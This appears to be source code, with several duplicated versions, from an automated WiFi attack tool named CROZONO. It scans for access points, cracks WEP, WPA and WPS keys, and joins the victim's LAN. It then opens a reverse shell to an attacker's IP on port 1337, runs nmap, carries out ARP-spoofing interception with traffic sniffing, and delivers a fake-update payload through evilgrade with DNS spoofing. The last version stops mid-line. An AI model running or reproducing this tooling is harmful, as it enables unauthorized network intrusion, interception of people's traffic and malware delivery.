def check_interfering_processes(kill=True): s = subprocess.Popen(['airmon-ng', 'check', 'kill' if kill else None], stdout=subprocess.DEVNULL) _, err = s.communicate() if err is not None: error('Error when killing interfering processes!') return False return True
def check_interfering_processes(kill=True): s = subprocess.Popen(['airmon-ng', 'check', 'kill' if kill else None], stdout=DN) _, err = s.communicate() if err is not None: error('Error when killing interfering processes!') return False return True
def verify_logged_in() -> bool: global session session.sendline('PS1="TUNNELING"') r = session.expect(['TUNNELING$', pexpect.TIMEOUT], timeout=5) if r == 1: log.error('Could not log in') return False return True
def connect(essid, key, iface_mon=None): import fcntl import struct sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) tries = 0 if iface_mon is not None: call(['airmon-ng', 'stop', iface_mon], stdout=DN, stderr=DN) time.sleep(1) iface = get_ifaces()[0] def do_connect(): nonlocal sock nonlocal tries info("Connecting to '{0}' with key '{1}'".format(essid, key if key is not None else '')) cmd_connect = pexpect.spawn('iwconfig {0} essid "{1}" key s:{2}'.format(iface, essid, key)) cmd_connect.logfile = open(LOG_FILE, 'wb') cmd_connect.expect(['Error', pexpect.TIMEOUT, pexpect.EOF], 3) cmd_connect.close() parse_log_connect = open(LOG_FILE, 'r') for line in parse_log_connect: if line.find('Error') != -1: wpa_supplicant = open('/etc/wpa_supplicant/wpa_supplicant.conf', 'w') wpa_supplicant.write('ctrl_interface=/var/run/wpa_supplicant\n') wpa_supplicant.write('network={\n') wpa_supplicant.write('ssid="' + essid + '"\n') wpa_supplicant.write('key_mgmt=WPA-PSK\n') wpa_supplicant.write('psk="' + key.strip() + '"\n') wpa_supplicant.write('}') wpa_supplicant.close() call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN) call(['dhclient', iface, '-r'], stdout=DN, stderr=DN) call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) call(['iwconfig', iface, 'mode', 'managed']) call(['killall', 'wpa_supplicant'], stdout=DN, stderr=DN) call(['wpa_supplicant', '-B', '-c', '/etc/wpa_supplicant/wpa_supplicant.conf', '-i', iface], stdout=DN, stderr=DN) time.sleep(2) parse_log_connect.close() os.remove(LOG_FILE) tries += 1 call(['dhclient', iface], stdout=DN, stderr=DN) time.sleep(4) do_connect() if get_current_essid(iface) != essid and tries < 5: warn('Connection to {e} failed. Retrying.'.format(e=essid)) do_connect() if get_current_essid(iface) == essid: ipaddr = socket.inet_ntoa( fcntl.ioctl(sock.fileno(), 0x8915, struct.pack('256s', bytes(iface[:15], 'utf-8')))[20:24]) info('Connection to {e} succeeded! Our IP is: {i}'.format(e=essid, i=ipaddr)) return ipaddr else: error('Could not connect to {e} after 5 tries. Aborting'.format(e=essid)) exit(1)
def check(self): deps = ["aircrack-ng", "pyrit"] for d in deps: if subprocess.call(["which", d], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: error("Required binary for {bin} not found.".format(bin=d)) return False return True
def get_current_essid(iface): iwc = subprocess.Popen(['iwconfig', iface], stdout=PIPE) hea = subprocess.Popen(['head', '-1'], stdin=iwc.stdout, stdout=PIPE) gre = subprocess.Popen(['grep', '-oP', '\".+\"'], stdin=hea.stdout, stdout=PIPE) sout, serr = gre.communicate() if serr is not None: error("Error getting the current ESSID") return "" return sout.decode().strip().replace("\"", "")
def check(self): dep = 'aircrack-ng' if subprocess.call(["which", dep], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: error("Required binary for {bin} not found.".format(bin=dep)) return False else: return True
def connect_to_lan(): import fcntl import struct sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) tries = 0 if settings.INTERFACE_MON is not None: device_mgr.toggle_mode_monitor(False) time.sleep(1) def do_connect(): nonlocal sock nonlocal tries info("Connecting to '{0}' with key '{1}'".format(settings.TARGET_ESSID, settings.TARGET_KEY if settings.TARGET_KEY is not None else '')) cmd_connect = pexpect.spawn('iwconfig {0} essid "{1}" key s:{2}'.format(settings.INTERFACE, settings.TARGET_ESSID, settings.TARGET_KEY)) cmd_connect.logfile = open(settings.LOG_FILE, 'wb') cmd_connect.expect(['Error', pexpect.TIMEOUT, pexpect.EOF], 3) cmd_connect.close() parse_log_connect = open(settings.LOG_FILE, 'r') for line in parse_log_connect: if line.find('Error') != -1: wpa_supplicant = open('/etc/wpa_supplicant/wpa_supplicant.conf', 'w') wpa_supplicant.write('ctrl_interface=/var/run/wpa_supplicant\n') wpa_supplicant.write('network={\n') wpa_supplicant.write('ssid="' + settings.TARGET_ESSID + '"\n') wpa_supplicant.write('key_mgmt=WPA-PSK\n') wpa_supplicant.write('psk="' + settings.TARGET_KEY.strip() + '"\n') wpa_supplicant.write('}') wpa_supplicant.close() subprocess.call(['ifconfig', settings.INTERFACE, 'down'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call(['dhclient', settings.INTERFACE, '-r'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call(['ifconfig', settings.INTERFACE, 'up'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call(['iwconfig', settings.INTERFACE, 'mode', 'managed']) subprocess.call(['killall', 'wpa_supplicant'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call(['wpa_supplicant', '-B', '-c', '/etc/wpa_supplicant/wpa_supplicant.conf', '-i', settings.INTERFACE], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(2) parse_log_connect.close() os.remove(settings.LOG_FILE) tries += 1 subprocess.call(['dhclient', settings.INTERFACE], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(4) do_connect() if get_current_essid() != settings.TARGET_ESSID and tries < 5: warn('Connection to {e} failed. Retrying.'.format(e=settings.TARGET_ESSID)) do_connect() if get_current_essid() == settings.TARGET_ESSID: ipaddr = socket.inet_ntoa( fcntl.ioctl(sock.fileno(), 0x8915, struct.pack('256s', bytes(settings.INTERFACE[:15], 'utf-8')))[20:24]) info('Connection to {e} succeeded! Our IP is: {i}'.format(e=settings.TARGET_ESSID, i=ipaddr)) settings.IP_LAN = ipaddr.strip() else: error('Could not connect to {e} after 5 tries. Aborting'.format(e=settings.TARGET_ESSID)) exit(1)
def check_lan_attacks_dependencies(): for d in lan_deps: if subprocess.call(["which", d], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: error( "Required binary for {bin} not found. Refer to the INSTALL document for requirements for running CROZONO." .format(bin=d)) return False return True
def check(self): deps = ["reaver", "pixiewps"] for d in deps: if subprocess.call(["which", d], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: error("Required binary for {bin} not found.".format(bin=d)) report.saveLog( "Required binary for {bin} not found.".format(bin=d)) return False return True
def scan_targets(iface_mon, essid=None): """ Scans the surrounding networks for a predefined amount of time. Orders the found APs by power, and then returns the one with most IV captured (or the specified network in the essid parameter) The AP is represented by a dict, in the form: {'Privacy': 'WPA2 WPA', 'Authentication': 'PSK', 'channel': '1', 'ESSID': 'The Beardhouse', 'LAN IP': '0. 0. 0. 0', 'First time seen': '2015-12-15 04:10:22', 'Speed': '54', 'IV': '0', 'beacons': '25', 'ID-length': '14', 'Cipher': 'CCMP TKIP', 'Power': '-63', 'Last time seen': '2015-12-15 04:10:31', 'Key': '', 'BSSID': '38:60:77:A4:68:A1'} Notice that the keys are mapped to airodump-ng column names, EXCEPT for 'beacons' and 'IV' """ import csv info("Scanning {t} seconds for target WiFi access points...".format( t=AIRODUMP_SCAN_TIME)) # Delete old files: if os.path.exists(OS_PATH + '/cr0z0n0-01.csv'): os.remove(OS_PATH + '/cr0z0n0-01.csv') os.remove(OS_PATH + '/cr0z0n0-01.cap') os.remove(OS_PATH + '/cr0z0n0-01.kismet.csv') os.remove(OS_PATH + '/cr0z0n0-01.kismet.netxml') cmd_airodump = pexpect.spawn( 'airodump-ng -w cr0z0n0 {0}'.format(iface_mon)) cmd_airodump.expect([pexpect.TIMEOUT, pexpect.EOF], AIRODUMP_SCAN_TIME) cmd_airodump.close() with open(OS_PATH + '/cr0z0n0-01.csv', 'r') as f: f.readline() # skip empty line header = list(f.readline().split(', ')) header = list(map(lambda x: x.replace('# ', '').strip(), header)) # cleanup d = csv.DictReader(f, delimiter=',', skipinitialspace=True, fieldnames=header) aps = [] for e in d: if e.get('Power') is not None: aps.append(e) else: # Nearing the end, there's the stations list, # for which we don't care right now break if len(aps) == 0: error("No WiFi networks in range! Nothing we can do.") exit(1) if essid is None: for ap in aps: if ap.get('ESSID').find('00') != -1: aps.remove(ap) aps = sorted(aps, key=lambda x: x.get('Power')) # From the top 2, get the one with most IV return sorted(aps[:2], key=lambda x: x.get('IV'), reverse=True)[0] else: for ap in aps: if ap.get('ESSID') == essid: return ap
def get_current_essid(iface): iwc = subprocess.Popen(['iwconfig', iface], stdout=PIPE) hea = subprocess.Popen(['head', '-1'], stdin=iwc.stdout, stdout=PIPE) gre = subprocess.Popen(['grep', '-oP', '\".+\"'], stdin=hea.stdout, stdout=PIPE) sout, serr = gre.communicate() if serr != None: error("Error getting the current ESSID") return "" return sout.decode().strip().replace("\"", "")
def check(self): deps = ["ettercap", "tshark"] for d in deps: if subprocess.call(["which", d], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: error("Required binary for {bin} not found.".format(bin=d)) return False if not os.path.exists(os.path.join(settings.OS_PATH, 'cr0z0n0_nmap')): error("NMap scan is required for this LAN attack module!") return False return True
def set_up_logging(): global logging global session if logging is None: return if logging.get('file') is not None: # TODO: Log to file log.error('Log to file no implemented. Yet.') elif logging.get('console'): session.logfile = sys.stdout else: log.warn('Logging disabled')
def toggle_mode_monitor(iface, setting=True): check_interfering_processes(kill=True) subprocess.Popen(['airmon-ng', 'start' if setting else 'stop', iface], stdout=PIPE, stderr=PIPE).communicate() proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) for line in proc.communicate()[0].decode().split('\n'): if 'Mode:Monitor' in line: iface_mon = line.split()[0] return iface_mon else: error("Could not set interface in monitor mode!") exit()
def scan_targets(iface_mon, essid=None): """ Scans the surrounding networks for a predefined amount of time. Orders the found APs by power, and then returns the one with most IV captured (or the specified network in the essid parameter) The AP is represented by a dict, in the form: {'Privacy': 'WPA2 WPA', 'Authentication': 'PSK', 'channel': '1', 'ESSID': 'The Beardhouse', 'LAN IP': '0. 0. 0. 0', 'First time seen': '2015-12-15 04:10:22', 'Speed': '54', 'IV': '0', 'beacons': '25', 'ID-length': '14', 'Cipher': 'CCMP TKIP', 'Power': '-63', 'Last time seen': '2015-12-15 04:10:31', 'Key': '', 'BSSID': '38:60:77:A4:68:A1'} Notice that the keys are mapped to airodump-ng column names, EXCEPT for 'beacons' and 'IV' :param iface_mon: Monitoring interface with which to scan :param essid: If supplied, it gets the airodump information for this particular ESSID """ import csv info("Scanning {t} seconds for target WiFi access points...".format(t=AIRODUMP_SCAN_TIME)) # Delete old files: if os.path.exists(OS_PATH + '/cr0z0n0-01.csv'): os.remove(OS_PATH + '/cr0z0n0-01.csv') os.remove(OS_PATH + '/cr0z0n0-01.cap') os.remove(OS_PATH + '/cr0z0n0-01.kismet.csv') os.remove(OS_PATH + '/cr0z0n0-01.kismet.netxml') cmd_airodump = pexpect.spawn('airodump-ng -w cr0z0n0 {0}'.format(iface_mon)) cmd_airodump.expect([pexpect.TIMEOUT, pexpect.EOF], AIRODUMP_SCAN_TIME) cmd_airodump.close() with open(OS_PATH + '/cr0z0n0-01.csv', 'r') as f: f.readline() # skip empty line header = list(f.readline().split(', ')) header = list(map(lambda x: x.replace('# ', '').strip(), header)) # cleanup d = csv.DictReader(f, delimiter=',', skipinitialspace=True, fieldnames=header) aps = [] for e in d: if e.get('Power') is not None: aps.append(e) else: # Nearing the end, there's the stations list, # for which we don't care right now break if len(aps) == 0: error("No WiFi networks in range! Nothing we can do.") exit(1) if essid is None: for ap in aps: if ap.get('ESSID').find('00') != -1: aps.remove(ap) aps = sorted(aps, key=lambda x: x.get('Power')) # From the top 2, get the one with most IV return sorted(aps[:2], key=lambda x: x.get('IV'), reverse=True)[0] else: for ap in aps: if ap.get('ESSID') == essid: return ap
def get_current_essid(): iwc = subprocess.Popen(['iwconfig', settings.INTERFACE], stdout=subprocess.PIPE) hea = subprocess.Popen(['head', '-1'], stdin=iwc.stdout, stdout=subprocess.PIPE) gre = subprocess.Popen(['grep', '-oP', '\".+\"'], stdin=hea.stdout, stdout=subprocess.PIPE) sout, serr = gre.communicate() if serr is not None: error("Error getting the current ESSID") report.saveLog("Error getting the current ESSID") return "" return sout.decode().strip().replace("\"", "")
def toggle_mode_monitor(setting=True): if setting: check_interfering_processes(kill=True) subprocess.Popen(['airmon-ng', 'start', settings.INTERFACE], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() proc = Popen(['iwconfig'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) for line in proc.communicate()[0].decode().split('\n'): if 'Mode:Monitor' in line: settings.INTERFACE_MON = line.split()[0] return True error("Could not set interface in monitor mode!") exit(1) else: subprocess.call(['airmon-ng', 'stop', settings.INTERFACE_MON], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def toggle_mode_monitor(setting=True): if setting: check_interfering_processes(kill=True) subprocess.Popen(['airmon-ng', 'start', settings.INTERFACE], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() proc = Popen(['iwconfig'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) for line in proc.communicate()[0].decode().split('\n'): if 'Mode:Monitor' in line: settings.INTERFACE_MON = line.split()[0] return True else: error("Could not set interface in monitor mode!") exit() else: subprocess.call(['airmon-ng', 'stop', settings.INTERFACE_MON], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def check_lan_attacks_dependences(): if not os.path.exists('/usr/bin/nmap'): error("You must install Nmap.") exit(1) if not os.path.exists('/usr/bin/ettercap'): error("You must install Ettercap.") return False if not os.path.exists('/usr/bin/tshark'): error("You must install Tshark.") return False if not os.path.exists('/usr/bin/msfconsole'): error("You must install Metasploit.") return False return True
def connect_with_key(host, user, key, ports): global session log.info('Connecting to {} using key'.format(host)) cmd = 'ssh -L {ports} -i {key} {usr}@{host}'.format(ports=' -L '.join(ports), key=key.replace('~', os.path.expanduser('~')), usr=user, host=host) if session is None: session = pexpect.spawnu(cmd, encoding='UTF-8') set_up_logging() else: session.sendline(cmd) try: res = session.expect(get_expectations()) except pexpect.TIMEOUT: # Ew, but I prefer to handle stuff below, all in the same place res = 5 if res == 0: log.error('Got asked for a password when logging with key to {}. Cowardly aborting.'.format(host)) exit(1) elif res == 1: log.info('Connected to {}'.format(host)) return session.pid elif res == 2: session.sendline('yes') elif res == 3: log.error('Access denied for {} with key {}! Aborting.'.format(host, key)) exit(1) elif res == 4 or res == 5: log.error('Host {} is unreachable. Aborting.'.format(host)) exit(1) res = session.expect(get_expectations()) if res == 1: log.info('Connected to {}'.format(host)) return session.pid else: log.error('Error while connecting to {}. Aborting.'.format(host)) log.error('Either run with logging activated, or SSH manually!') exit(1)
def check_wlan_attacks_dependences(): if not os.path.exists('/usr/bin/aircrack-ng'): error("You must install aircrack-ng suite.") return False if not os.path.exists('/usr/bin/reaver'): error("You must install Reaver.") return False if not os.path.exists('/usr/bin/pixiewps'): error("You must install PixieWPS.") return False return True
def connect_to_lan(): import fcntl import struct sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) tries = 0 if settings.INTERFACE_MON is not None: device_mgr.toggle_mode_monitor(False) time.sleep(1) def do_connect(): nonlocal sock nonlocal tries info("Connecting to '{0}' with key '{1}'".format( settings.TARGET_ESSID, settings.TARGET_KEY if settings.TARGET_KEY is not None else '')) cmd_connect = pexpect.spawn( 'iwconfig {0} essid "{1}" key s:{2}'.format( settings.INTERFACE, settings.TARGET_ESSID, settings.TARGET_KEY)) cmd_connect.logfile = open(settings.LOG_FILE, 'wb') cmd_connect.expect(['Error', pexpect.TIMEOUT, pexpect.EOF], 3) cmd_connect.close() parse_log_connect = open(settings.LOG_FILE, 'r') for line in parse_log_connect: if line.find('Error') != -1: wpa_supplicant = open( '/etc/wpa_supplicant/wpa_supplicant.conf', 'w') wpa_supplicant.write( 'ctrl_interface=/var/run/wpa_supplicant\n') wpa_supplicant.write('network={\n') wpa_supplicant.write('ssid="' + settings.TARGET_ESSID + '"\n') wpa_supplicant.write('key_mgmt=WPA-PSK\n') wpa_supplicant.write('psk="' + settings.TARGET_KEY.strip() + '"\n') wpa_supplicant.write('}') wpa_supplicant.close() subprocess.call(['ifconfig', settings.INTERFACE, 'down'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call(['dhclient', settings.INTERFACE, '-r'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call(['ifconfig', settings.INTERFACE, 'up'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call( ['iwconfig', settings.INTERFACE, 'mode', 'managed']) subprocess.call(['killall', 'wpa_supplicant'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.call([ 'wpa_supplicant', '-B', '-c', '/etc/wpa_supplicant/wpa_supplicant.conf', '-i', settings.INTERFACE ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(2) parse_log_connect.close() os.remove(settings.LOG_FILE) tries += 1 subprocess.call(['dhclient', settings.INTERFACE], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(4) do_connect() if get_current_essid() != settings.TARGET_ESSID and tries < 5: warn('Connection to {e} failed. Retrying.'.format( e=settings.TARGET_ESSID)) do_connect() if get_current_essid() == settings.TARGET_ESSID: ipaddr = socket.inet_ntoa( fcntl.ioctl( sock.fileno(), 0x8915, struct.pack('256s', bytes(settings.INTERFACE[:15], 'utf-8')))[20:24]) info('Connection to {e} succeeded! Our IP is: {i}'.format( e=settings.TARGET_ESSID, i=ipaddr)) settings.IP_LAN = ipaddr.strip() else: error('Could not connect to {e} after 5 tries. Aborting'.format( e=settings.TARGET_ESSID)) exit(1)
def main(): banner() if not checks.check_root(): error('You need root privileges to run CROZONO!\n') exit(1) if not checks.check_wlan_tools_dependencies(): exit(1) args = parse_args() settings.OS_PATH = os.getcwd() settings.INTERFACE = args.interface if args.interface is not None else settings.INTERFACE settings.INTERFACE = device_mgr.get_ifaces( )[0] if settings.INTERFACE is None else settings.INTERFACE settings.DELAY = args.delay if args.delay is not None else settings.DELAY settings.TARGET_ESSID = args.essid if args.essid is not None else settings.TARGET_ESSID settings.TARGET_KEY = args.key if args.key is not None else settings.TARGET_KEY settings.IP_ATTACKER = args.connect if args.connect is not None else settings.IP_ATTACKER settings.LAN_DISCOVERY = args.discovery if args.discovery is not None else settings.LAN_DISCOVERY settings.ATTACK = args.attack if args.attack is not None else settings.ATTACK delay = float(settings.DELAY) * 60 time.sleep(delay) info("CROZONO running...") if settings.TARGET_ESSID is not None: if settings.TARGET_KEY is not None: ap_target = None lan_mgr.connect_to_lan() else: device_mgr.hardware_setup() ap_target = airodump.scan_targets() else: device_mgr.hardware_setup() ap_target = airodump.scan_targets() # -------------------- Infiltrate wifi ------------------------------------------------ if ap_target is not None: settings.TARGET_ESSID = ap_target.get('ESSID').strip() settings.TARGET_BSSID = ap_target.get('BSSID').strip() settings.TARGET_CHANNEL = ap_target.get('channel').strip() settings.TARGET_PRIVACY = ap_target.get('Privacy').strip() info("Target selected: " + settings.TARGET_ESSID) if settings.TARGET_PRIVACY == 'WEP': info("Cracking {e} access point with WEP privacy...".format( e=settings.TARGET_ESSID)) wep_modules = find_modules('wep') for wep_module in wep_modules: attack = import_module(wep_module[0]) if attack.check(): attack.setup() attack.run() if settings.TARGET_KEY is not None: info("Key found!: {k} ".format(k=settings.TARGET_KEY)) lan_mgr.save_key() lan_mgr.connect_to_lan() break else: pass if settings.TARGET_KEY is None: error("Key not found! :-(") exit(0) elif settings.TARGET_PRIVACY == 'WPA' or settings.TARGET_PRIVACY == 'WPA2' or settings.TARGET_PRIVACY == 'WPA2 WPA': info("Cracking {e} access point with {p} privacy...".format( e=settings.TARGET_ESSID, p=settings.TARGET_PRIVACY)) wps = wash.wash_scan() if wps: info("WPS is enabled") wps_modules = find_modules('wps') for wps_module in wps_modules: attack = import_module(wps_module[0]) if attack.check(): attack.setup() attack.run() if settings.TARGET_KEY is not None: info("Key found!: {k} ".format( k=settings.TARGET_KEY)) break else: pass if settings.TARGET_KEY is None: if wps: warn( "PIN not found! :-( Running WPA/WPA2 attack modules..." ) wpa_modules = find_modules('wpa') for wpa_module in wpa_modules: attack = import_module(wpa_module[0]) if attack.check(): attack.setup() attack.run() if settings.TARGET_KEY is not None: info("Key found!: {k} ".format( k=settings.TARGET_KEY)) break else: pass if settings.TARGET_KEY is None: # still... error("Key not found! :-(") exit(0) else: lan_mgr.save_key() lan_mgr.connect_to_lan() else: info("Open network!") lan_mgr.connect_to_lan() # -------------------- Acquired LAN range -------------------------------------------- lan_mgr.lan_range() lan_mgr.get_gateway() # -------------------- Connect to attacker and relay network info -------------------- if settings.IP_ATTACKER is not None: info( "Sending information about network to attacker ({ip}) and running attacks..." .format(ip=settings.IP_ATTACKER)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((settings.IP_ATTACKER, settings.PORT_ATTACKER)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) banner() info("Hello! :)") if settings.LAN_DISCOVERY is not None: discovery = import_module(settings.LAN_DISCOVERY) if discovery.check(): discovery.setup() discovery.run() else: warn("Error to run LAN discovery module!") else: warn("Attacker not defined! Ending...") exit(0) # -------------------- LAN Attacks -------------------------------------------------- if settings.ATTACK is not None: attack = import_module(settings.ATTACK) if attack.check(): attack.setup() attack.run() else: error("Error to run LAN attack module! Ending...") exit(1) else: warn("Attack not defined!") s.shutdown(1) info("CROZONO has finished! Good bye! ;)")
def main(): banner() if not check_root(): error('You need root privileges to run CROZONO!\n') exit(1) if not check_wlan_attacks_dependences(): exit(1) info("CROZONO running...") args = parse_args() if args.essid is not None: if args.key is not None: ap_target = False ip_lan = connect(args.essid, args.key) else: iface_mon = hardware_setup() new_mac = mac_changer(iface_mon) ap_target = scan_targets(iface_mon, args.essid) else: iface_mon = hardware_setup() new_mac = mac_changer(iface_mon) ap_target = scan_targets(iface_mon) # -------------------- Infiltrate wifi -------------------- if ap_target: target_essid = ap_target.get('ESSID').strip() target_bssid = ap_target.get('BSSID').strip() target_channel = ap_target.get('channel').strip() target_privacy = ap_target.get('Privacy').strip() info("Target selected: " + target_essid) if target_privacy == 'WEP': info("Cracking {e} access point with WEP privacy...".format(e=target_essid)) key = wep_attack(target_essid, target_bssid, target_channel, new_mac, iface_mon) if not key: error("Key not found! :(") exit() else: info("Key found!: {k} ".format(k=key)) save_key(target_essid, key) ip_lan = connect(target_essid, key, iface_mon) elif target_privacy == 'WPA' or target_privacy == 'WPA2' or target_privacy == 'WPA2 WPA': info("Cracking {e} access point with {p} privacy...".format(e=target_essid, p=target_privacy)) wps = wps_check(target_bssid, iface_mon) if wps: info("WPS is enabled") key = wpa_with_wps_attack(target_bssid, target_channel, iface_mon) if not key: warn("PIN not found! Trying with conventional WPA attack...") key = wpa_attack(target_bssid, target_channel, iface_mon) else: warn("WPS is not enabled") key = wpa_attack(target_bssid, target_channel, iface_mon) if not key: error("Key not found! :(") exit() else: info("Key found!: {k} ".format(k=key)) save_key(target_essid, key) ip_lan = connect(target_essid, key, iface_mon) else: info("Open network!") ip_lan = connect(target_essid, None, iface_mon) # -------------------- Acquired LAN range -------------------- ip_lan = ip_lan.strip() net = ip_lan.split('.') range_net = net[0] + '.' + net[1] + '.' + net[2] + '.1-255' # -------------------- Connect to attacker and relay nmap info -------------------- if os.path.exists(OS_PATH + '/cr0z0n0_nmap'): os.remove(OS_PATH + '/cr0z0n0_nmap') if not check_lan_attacks_dependences(): exit(1) attacker = args.dest if attacker is not None: info("Sending information about network to attacker ({ip}) and running attacks...".format(ip=attacker)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((attacker, 1337)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) banner() info("Hello! :)") info("Executing Nmap...") call(['nmap', '-O', '-sV', '-oN', 'cr0z0n0_nmap', '--exclude', ip_lan, range_net], stderr=DN) else: warn("Attacker not defined! Ending...") exit() # -------------------- Attacks -------------------- attack = args.attack if attack == 'sniffing-mitm': iface = get_ifaces()[0] gateway = get_gateway().strip() target_mitm = get_target_mitm(gateway, ip_lan) info("Executing MITM and Sniffing attacks between {g} and {m}...".format(g=gateway, m=target_mitm)) cmd_ettercap = pexpect.spawn( 'ettercap -T -M arp:remote /{g}/ /{m}/ -i {i}'.format(g=gateway, m=target_mitm, i=iface)) time.sleep(2) # cmd_tshark = pexpect.spawn('tshark -i {i} -w cr0z0n0_sniff'.format(i=iface)) proc = subprocess.call(["tshark", "-i", iface], stderr=DN) elif attack == 'evilgrade': modules = open(OS_PATH + '/evilgrade/modules.txt', 'r') agent = OS_PATH + '/evilgrade/agent.exe' for line in modules: print(line.replace('\n', '')) print("\n\n Select module to use: ") plugin = input() info("Thank you! Evilgrade will be executed!") s.shutdown(1) if os.path.exists('/etc/ettercap/etter.dns'): call(['rm', '/etc/ettercap/etter.dns']) etter_template = open(OS_PATH + '/evilgrade/etter.dns.template', 'r') etter_dns = open(OS_PATH + '/evilgrade/etter.dns', 'w') for line in etter_template: line = line.replace('IP', ip_lan) etter_dns.write(line) etter_dns.close() etter_template.close() call(['mv', './evilgrade/etter.dns', '/etc/ettercap/etter.dns']) evilgrade = pexpect.spawn('evilgrade') evilgrade.expect('evilgrade>') evilgrade.sendline('configure ' + plugin) evilgrade.sendline('set agent ' + agent) evilgrade.sendline('start') time.sleep(1) iface = get_ifaces()[0] gateway = get_gateway().strip() target_mitm = get_target_mitm(gateway, ip_lan) cmd_ettercap = pexpect.spawn( 'ettercap -T -M arp:remote /{g}/ /{m}/ -i {i} -P dns_spoof'.format(g=gateway, m=target_mitm, i=iface)) time.sleep(EVILGRADE_ATTACK_TIME) elif attack == 'metasploit': info("Executing Metasploit...") proc = subprocess.call(["msfconsole"], stderr=DN) else: warn("Attack not defined!") s.shutdown(1) info("CROZONO has finished! Good bye! ;)")
def main(): banner() if not check_root(): error('You need root privileges to run CROZONO!\n') exit(1) if not check_wlan_attacks_dependences(): exit(1) info("CROZONO running...") args = parse_args() if args.essid is not None: if args.key is not None: ap_target = False ip_lan = connect(args.essid, args.key) else: iface_mon = hardware_setup() new_mac = mac_changer(iface_mon) ap_target = scan_targets(iface_mon, args.essid) else: iface_mon = hardware_setup() new_mac = mac_changer(iface_mon) ap_target = scan_targets(iface_mon) # -------------------- Infiltrate wifi -------------------- if ap_target != False: target_essid = ap_target.get('ESSID').strip() target_bssid = ap_target.get('BSSID').strip() target_channel = ap_target.get('channel').strip() target_privacy = ap_target.get('Privacy').strip() info("Target selected: " + target_essid) if target_privacy == 'WEP': info("Cracking {e} access point with WEP privacy...".format( e=target_essid)) key = WEP_attack(target_essid, target_bssid, target_channel, new_mac, iface_mon) if key == False: error("Key not found! :(") exit() else: info("Key found!: {k} ".format(k=key)) save_key(target_essid, key) ip_lan = connect(target_essid, key, iface_mon) elif target_privacy == 'WPA' or target_privacy == 'WPA2' or target_privacy == 'WPA2 WPA': info("Cracking {e} access point with {p} privacy...".format( e=target_essid, p=target_privacy)) WPS = WPS_check(target_bssid, iface_mon) if WPS == True: info("WPS is enabled") key = WPA_with_WPS_attack(target_bssid, target_channel, iface_mon) if key == False: warn( "PIN not found! Trying with conventional WPA attack..." ) key = WPA_attack(target_bssid, target_channel, iface_mon) else: warn("WPS is not enabled") key = WPA_attack(target_bssid, target_channel, iface_mon) if key == False: error("Key not found! :(") exit() else: info("Key found!: {k} ".format(k=key)) save_key(target_essid, key) ip_lan = connect(target_essid, key, iface_mon) else: info("Open network!") ip_lan = connect(target_essid, None, iface_mon) # -------------------- Acquired LAN range -------------------- ip_lan = ip_lan.strip() net = ip_lan.split('.') range_net = net[0] + '.' + net[1] + '.' + net[2] + '.1-255' # -------------------- Connect to attacker and relay nmap info -------------------- if os.path.exists(OS_PATH + '/cr0z0n0_nmap'): os.remove(OS_PATH + '/cr0z0n0_nmap') if not check_lan_attacks_dependences(): exit(1) attacker = args.dest if attacker is not None: info( "Sending information about network to attacker ({ip}) and running attacks..." .format(ip=attacker)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((attacker, 1337)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) banner() info("Hello! :)") info("Executing Nmap...") call([ 'nmap', '-O', '-sV', '-oN', 'cr0z0n0_nmap', '--exclude', ip_lan, range_net ], stderr=DN) else: warn("Attacker not defined! Ending...") exit() # -------------------- Attacks -------------------- attack = args.attack if attack == 'sniffing-mitm': iface = get_ifaces()[0] gateway = get_gateway().strip() target_mitm = get_target_mitm(gateway, ip_lan) info("Executing MITM and Sniffing attacks between {g} and {m}...". format(g=gateway, m=target_mitm)) cmd_ettercap = pexpect.spawn( 'ettercap -T -M arp:remote /{g}/ /{m}/ -i {i}'.format( g=gateway, m=target_mitm, i=iface)) time.sleep(2) #cmd_tshark = pexpect.spawn('tshark -i {i} -w cr0z0n0_sniff'.format(i=iface)) proc = subprocess.call(["tshark", "-i", iface], stderr=DN) elif attack == 'evilgrade': modules = open(OS_PATH + '/evilgrade/modules.txt', 'r') agent = OS_PATH + '/evilgrade/agent.exe' for line in modules: print(line.replace('\n', '')) print("\n\n Select module to use: ") plugin = raw_input() info("Thank you! Evilgrade will be executed!") s.shutdown(1) if os.path.exists('/etc/ettercap/etter.dns'): call(['rm', 